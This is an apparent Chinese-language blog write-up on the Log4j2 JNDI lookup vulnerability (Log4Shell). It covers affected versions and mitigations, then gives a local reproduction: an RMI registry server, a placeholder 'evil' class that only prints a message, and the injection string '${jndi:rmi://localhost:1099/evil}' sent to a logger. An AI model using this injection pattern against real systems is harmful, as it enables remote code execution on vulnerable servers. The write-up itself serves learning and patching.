一、漏洞详情
概况:通过Apache Log4j2其中的Lookup功能实现反序列化,最终执行恶意代码
首先服务端会根据恶意exp类与标识构造一个Reference对象引用,然后将这个恶意的Reference引用绑定到RMI注册中心,当客户端调用lookup方法获取Reference对象引用时,然后会加载Reference引用中指定的类,一般会先从本地寻找Exp类,如果找不到就会从Reference引用中指定的远程地址(http://localhost:1099/)中下载Exp类然后在本地加载该类,也就是说RMI客户端会再次跟远程地址建立tcp连接把Exp类下载到本地并加载。从监听的端口来看,客户端确实发送了一个http请求把Exp类下载到本地,然后在加载Exp类时就会执行静态代码块中的代码
二、影响范围
Apache Log4j 2.x <= 2.15.0-rc1
受影响的应用及组件(包括但不限于)如下:
Apache Solr、Apache Flink、Apache Druid、Apache Struts2、srping-boot-strater-log4j2等。
三、漏洞修复方案
1、临时缓解方案
- 在jvm参数中添加 -Dlog4j2.FORMATMsgNoLookups=true
- 系统环境变量中将FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS设置为true
- 创建 “log4j2.component.properties” 文件,文件中增加配置 “log4j2.formatMsgNoLookups=true”
2、彻底修复方案
- 手动删除log4j-core-*.jar中org/apache/logging/log4j/core/lookup/JndiLookup.class,重启服务即可。
- 升级到官方提供的 log4j-2.15.0-rc2 版本
四、漏洞复现
Log4J2.xml Log4j2配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?xml version="1.0" encoding="UTF-8"?> <Configuration status="WARN"> <Appenders> <Console name="Console" target="SYSTEM_OUT"> <PatternLayout pattern="%d{HH:mm:ss.SSS} [%t] %-5level %logger{36} - %msg%n"/> </Console> </Appenders> <Loggers> <Root level="debug"> <AppenderRef ref="Console"/> </Root> </Loggers> </Configuration>
|
RMIServer.java 服务启动 注册中心
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35
| package com.mrmao.rmi;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference; import java.rmi.registry.LocateRegistry; import java.rmi.registry.Registry;
public class RMIServer {
public static void main(String[] args) {
try{ LocateRegistry.createRegistry(1099); Registry registry = LocateRegistry.getRegistry();
System.out.println("1099端口创建注册中心成功");
String className = "com.mrmao.rmi.EvilObj"; Reference reference = new Reference(className,className,null); ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference); registry.bind("evil",referenceWrapper); System.out.println("注册中心绑定"); }catch (Exception e){ e.printStackTrace(); } } }
|
EvilObj.java 恶意代码类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| package com.mrmao.rmi;
import javax.naming.Context; import javax.naming.Name; import javax.naming.spi.ObjectFactory; import java.util.Hashtable;
public class EvilObj implements ObjectFactory {
static { System.out.println("恶意代码执行"); }
@Override public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception { System.out.println("获取实例"); return null; } }
|
Log4j2Test.java 恶意代码启动类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.mrmao;
import org.apache.logging.log4j.LogManager; import org.apache.logging.log4j.Logger;
public class Log4j2Test {
private static final Logger LOGGER = LogManager.getLogger();
public static void main(String[] args) {
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
String userName = "${jndi:rmi://localhost:1099/evil}";
LOGGER.info("userName:{}!",userName); } }
|